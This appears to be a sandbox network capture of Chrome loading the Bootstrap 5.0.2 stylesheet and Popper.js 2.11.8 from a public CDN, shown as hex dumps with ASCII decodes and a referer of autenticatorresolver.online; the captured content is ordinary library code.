2025-01-06 13:26:43 UTC	763	IN	HTTP/1.1 200 OK Connection: close Content-Length: 155845 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 X-JSD-Version: 5.0.2 X-JSD-Version-Type: version ETag: W/"260c5-fByeBXPlzqi603M74vxjqoxo6o0" Accept-Ranges: bytes Date: Mon, 06 Jan 2025 13:26:43 GMT Age: 1653075 X-Served-By: cache-fra-eddf8230097-FRA, cache-ewr-kewr1740044-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 30 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 73 2d 62 6c 75 65 3a 23 30 64 36 65 66 64 3b 2d Data Ascii: @charset "UTF-8";/! Bootstrap v5.0.2 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors * Copyright 2011-2021 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--bs-blue:#0d6efd;-
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 68 65 72 69 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 62 6f 72 64 65 72 3a 30 3b 6f 70 61 63 69 74 79 3a 2e 32 35 7d 68 72 3a 6e 6f 74 28 5b 73 69 7a 65 5d 29 7b 68 65 69 67 68 74 3a 31 70 78 7d 2e 68 31 2c 2e 68 32 2c 2e 68 33 2c 2e 68 34 2c 2e 68 35 2c 2e 68 36 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 37 35 72 65 6d 20 2b 20 31 2e 35 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 Data Ascii: herit;background-color:currentColor;border:0;opacity:.25}hr:not([size]){height:1px}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px)
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 5b 63 6c 61 73 73 5d 29 2c 61 3a 6e 6f 74 28 5b 68 72 65 66 5d 29 3a 6e 6f 74 28 5b 63 6c 61 73 73 5d 29 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 62 73 2d 66 6f 6e 74 2d 6d 6f 6e 6f 73 70 61 63 65 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 75 6e 69 63 6f 64 65 2d 62 69 64 69 3a 62 69 64 69 2d 6f 76 65 72 72 69 64 65 7d 70 72 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 3b 66 6f 6e 74 Data Ascii: [class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em;direction:ltr;unicode-bidi:bidi-override}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 2c 62 75 74 74 6f 6e 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 74 65 78 74 61 72 65 61 7b 72 65 73 69 7a 65 3a 76 65 72 74 69 63 61 6c 7d 66 69 65 6c 64 73 65 74 7b 6d 69 6e 2d 77 69 64 74 68 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 65 67 65 6e 64 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 32 37 35 72 65 6d Data Ascii: not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 63 28 31 2e 35 32 35 72 65 6d 20 2b 20 33 2e 33 76 77 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 64 69 73 70 6c 61 79 2d 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 72 65 6d 7d 7d 2e 64 69 73 70 6c 61 79 2d 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 34 37 35 72 65 6d 20 2b 20 32 2e 37 76 77 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 64 69 73 70 6c 61 79 2d 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 2e 35 72 65 6d 7d 7d 2e 64 69 73 70 6c 61 79 2d 35 7b 66 6f 6e 74 2d 73 69 7a Data Ascii: c(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-4{font-size:3.5rem}}.display-5{font-siz
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 2e 37 35 72 65 6d 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 76 61 72 28 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 2c 2e 37 35 72 65 6d 29 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 7b 6d 61 78 2d 77 69 64 74 68 3a 35 34 30 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 6d 64 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 7b 6d 61 78 2d 77 69 64 74 68 3a 37 32 30 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b Data Ascii: .75rem);padding-left:var(--bs-gutter-x,.75rem);margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 2d 32 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 33 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 34 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 35 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 36 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 36 36 36 37 25 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6c 2d 6d 64 7b 66 6c 65 78 3a 31 Data Ascii: -2>{flex:0 0 auto;width:50%}.row-cols-sm-3>{flex:0 0 auto;width:33.3333333333%}.row-cols-sm-4>{flex:0 0 auto;width:25%}.row-cols-sm-5>{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.6666666667%}}@media (min-width:768px){.col-md{flex:1
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 31 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 32 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 33 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 34 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 35 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 36 3e 2a 7b 66 6c 65 Data Ascii: ;width:auto}.row-cols-xxl-1>{flex:0 0 auto;width:100%}.row-cols-xxl-2>{flex:0 0 auto;width:50%}.row-cols-xxl-3>{flex:0 0 auto;width:33.3333333333%}.row-cols-xxl-4>{flex:0 0 auto;width:25%}.row-cols-xxl-5>{flex:0 0 auto;width:20%}.row-cols-xxl-6>{fle
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 2e 67 78 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 2e 35 72 65 6d 7d 2e 67 2d 34 2c 2e 67 79 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 31 2e 35 72 65 6d 7d 2e 67 2d 35 2c 2e 67 78 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 33 72 65 6d 7d 2e 67 2d 35 2c 2e 67 79 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 33 72 65 6d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 63 6f 6c 2d 73 6d 2d 61 75 74 6f 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 63 6f 6c 2d 73 6d 2d 31 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 32 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 Data Ascii: .gx-4{--bs-gutter-x:1.5rem}.g-4,.gy-4{--bs-gutter-y:1.5rem}.g-5,.gx-5{--bs-gutter-x:3rem}.g-5,.gy-5{--bs-gutter-y:3rem}@media (min-width:576px){.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:1
2025-01-06 13:26:43 UTC	1378	IN	Data Raw: 2d 73 6d 2d 34 2c 2e 67 78 2d 73 6d 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 2e 35 72 65 6d 7d 2e 67 2d 73 6d 2d 34 2c 2e 67 79 2d 73 6d 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 31 2e 35 72 65 6d 7d 2e 67 2d 73 6d 2d 35 2c 2e 67 78 2d 73 6d 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 33 72 65 6d 7d 2e 67 2d 73 6d 2d 35 2c 2e 67 79 2d 73 6d 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 33 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 63 6f 6c 2d 6d 64 2d 31 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 63 6f Data Ascii: -sm-4,.gx-sm-4{--bs-gutter-x:1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y:1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x:3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y:3rem}}@media (min-width:768px){.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49756	151.101.65.229	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:44 UTC	575	OUT	GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:44 UTC	776	IN	HTTP/1.1 200 OK Connection: close Content-Length: 20122 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 2.11.8 X-JSD-Version-Type: version ETag: W/"4e9a-hx1u8QcL02PqOQ4MjDhOR9zn84k" Accept-Ranges: bytes Age: 1726035 Date: Mon, 06 Jan 2025 13:26:44 GMT X-Served-By: cache-fra-eddf8230047-FRA, cache-ewr-kewr1740060-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 70 6f 70 70 65 72 6a 73 2f 63 6f 72 65 20 76 32 2e 31 31 2e 38 20 2d 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 74 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 74 29 3a 74 28 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 50 6f 70 70 65 72 3d 7b 7d 29 7d Data Ascii: /** * @popperjs/core v2.11.8 - MIT License */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).Popper={})}
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 76 61 72 20 6e 3d 74 28 65 29 3b 72 65 74 75 72 6e 7b 73 63 72 6f 6c 6c 4c 65 66 74 3a 6e 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 73 63 72 6f 6c 6c 54 6f 70 3a 6e 2e 70 61 67 65 59 4f 66 66 73 65 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 28 65 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 72 65 74 75 72 6e 28 28 6e 28 65 29 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3a 65 2e 64 6f 63 75 6d 65 6e 74 29 7c 7c 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 72 65 74 75 72 6e 20 70 28 64 28 65 Data Ascii: unction u(e){var n=t(e);return{scrollLeft:n.pageXOffset,scrollTop:n.pageYOffset}}function l(e){return e?(e.nodeName\|\|"").toLowerCase():null}function d(e){return((n(e)?e.ownerDocument:e.document)\|\|window.document).documentElement}function h(e){return p(d(e
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 28 6e 3d 5b 5d 29 3b 76 61 72 20 6f 3d 78 28 65 29 2c 69 3d 6f 3d 3d 3d 28 6e 75 6c 6c 3d 3d 28 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 3f 76 6f 69 64 20 30 3a 72 2e 62 6f 64 79 29 2c 61 3d 74 28 6f 29 2c 73 3d 69 3f 5b 61 5d 2e 63 6f 6e 63 61 74 28 61 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 7c 7c 5b 5d 2c 76 28 6f 29 3f 6f 3a 5b 5d 29 3a 6f 2c 66 3d 6e 2e 63 6f 6e 63 61 74 28 73 29 3b 72 65 74 75 72 6e 20 69 3f 66 3a 66 2e 63 6f 6e 63 61 74 28 77 28 62 28 73 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 72 65 74 75 72 6e 5b 22 74 61 62 6c 65 22 2c 22 74 64 22 2c 22 74 68 22 5d 2e 69 6e 64 65 78 4f 66 28 6c 28 65 29 29 3e 3d 30 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 72 65 74 75 72 6e 20 72 28 65 29 26 26 22 66 69 78 65 64 Data Ascii: (n=[]);var o=x(e),i=o===(null==(r=e.ownerDocument)?void 0:r.body),a=t(o),s=i?[a].concat(a.visualViewport\|\|[],v(o)?o:[]):o,f=n.concat(s);return i?f:f.concat(w(b(s)))}function O(e){return["table","td","th"].indexOf(l(e))>=0}function j(e){return r(e)&&"fixed
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 72 3d 74 2e 67 65 74 28 65 29 3b 72 26 26 6f 28 72 29 7d 7d 29 29 2c 72 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 73 65 74 28 65 2e 6e 61 6d 65 2c 65 29 7d 29 29 2c 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 68 61 73 28 65 2e 6e 61 6d 65 29 7c 7c 6f 28 65 29 7d 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 26 26 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 28 29 3b 69 66 28 65 2e 63 6f 6e 74 61 69 6e 73 28 74 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 6e 26 26 6f 28 6e 29 29 7b 76 61 72 20 72 3d 74 3b 64 6f 7b 69 66 28 72 26 26 65 2e 69 73 53 61 6d 65 4e 6f 64 65 28 72 29 29 72 Data Ascii: r=t.get(e);r&&o(r)}})),r.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)\|\|o(e)})),r}function C(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&o(n)){var r=t;do{if(r&&e.isSameNode(r))r
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 69 6f 6e 29 3e 3d 30 26 26 72 28 65 29 3f 45 28 65 29 3a 65 3b 72 65 74 75 72 6e 20 6e 28 6f 29 3f 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 65 29 26 26 43 28 65 2c 6f 29 26 26 22 62 6f 64 79 22 21 3d 3d 6c 28 65 29 7d 29 29 3a 5b 5d 7d 28 65 29 3a 5b 5d 2e 63 6f 6e 63 61 74 28 74 29 2c 63 3d 5b 5d 2e 63 6f 6e 63 61 74 28 66 2c 5b 6f 5d 29 2c 70 3d 63 5b 30 5d 2c 75 3d 63 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 49 28 65 2c 6e 2c 73 29 3b 72 65 74 75 72 6e 20 74 2e 74 6f 70 3d 69 28 72 2e 74 6f 70 2c 74 2e 74 6f 70 29 2c 74 2e 72 69 67 68 74 3d 61 28 72 2e 72 69 67 68 74 2c 74 2e 72 69 67 68 74 29 2c 74 2e 62 6f 74 74 6f 6d 3d 61 28 72 2e 62 6f 74 74 6f 6d 2c Data Ascii: ion)>=0&&r(e)?E(e):e;return n(o)?t.filter((function(e){return n(e)&&C(e,o)&&"body"!==l(e)})):[]}(e):[].concat(t),c=[].concat(f,[o]),p=c[0],u=c.reduce((function(t,n){var r=I(e,n,s);return t.top=i(r.top,t.top),t.right=a(r.right,t.right),t.bottom=a(r.bottom,
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 72 79 2c 79 3d 76 6f 69 64 20 30 21 3d 3d 76 26 26 76 2c 67 3d 72 2e 70 61 64 64 69 6e 67 2c 62 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 30 3a 67 2c 78 3d 59 28 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 62 3f 62 3a 47 28 62 2c 6b 29 29 2c 77 3d 6d 3d 3d 3d 54 3f 22 72 65 66 65 72 65 6e 63 65 22 3a 54 2c 4f 3d 65 2e 72 65 63 74 73 2e 70 6f 70 70 65 72 2c 6a 3d 65 2e 65 6c 65 6d 65 6e 74 73 5b 79 3f 77 3a 6d 5d 2c 45 3d 5f 28 6e 28 6a 29 3f 6a 3a 6a 2e 63 6f 6e 74 65 78 74 45 6c 65 6d 65 6e 74 7c 7c 64 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 70 6f 70 70 65 72 29 2c 63 2c 6c 2c 73 29 2c 50 3d 70 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 4d 3d 58 28 7b 72 65 66 65 72 65 6e 63 65 3a 50 2c 65 6c 65 6d 65 6e 74 3a 4f 2c 73 74 72 61 74 Data Ascii: ry,y=void 0!==v&&v,g=r.padding,b=void 0===g?0:g,x=Y("number"!=typeof b?b:G(b,k)),w=m===T?"reference":T,O=e.rects.popper,j=e.elements[y?w:m],E=_(n(j)?j:j.contextElement\|\|d(e.elements.popper),c,l,s),P=p(e.elements.reference),M=X({reference:P,element:O,strat
2025-01-06 13:26:44 UTC	1378	IN	Data Raw: 2c 70 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 71 28 65 29 3b 72 65 74 75 72 6e 20 56 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 63 6f 6e 63 61 74 28 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 70 68 61 73 65 3d 3d 3d 6e 7d 29 29 29 7d 29 2c 5b 5d 29 7d 28 28 73 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6f 2c 66 2e 6f 70 74 69 6f 6e 73 2e 6d 6f 64 69 66 69 65 72 73 29 2c 70 3d 73 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 5b 74 2e 6e 61 6d 65 5d 3b 72 65 74 75 72 6e 20 65 5b 74 2e 6e 61 6d 65 5d 3d 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 6e 2c 74 2c 7b 6f 70 74 69 6f 6e 73 3a 4f Data Ascii: ,p,d=function(e){var t=q(e);return V.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}((s=[].concat(o,f.options.modifiers),p=s.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:O
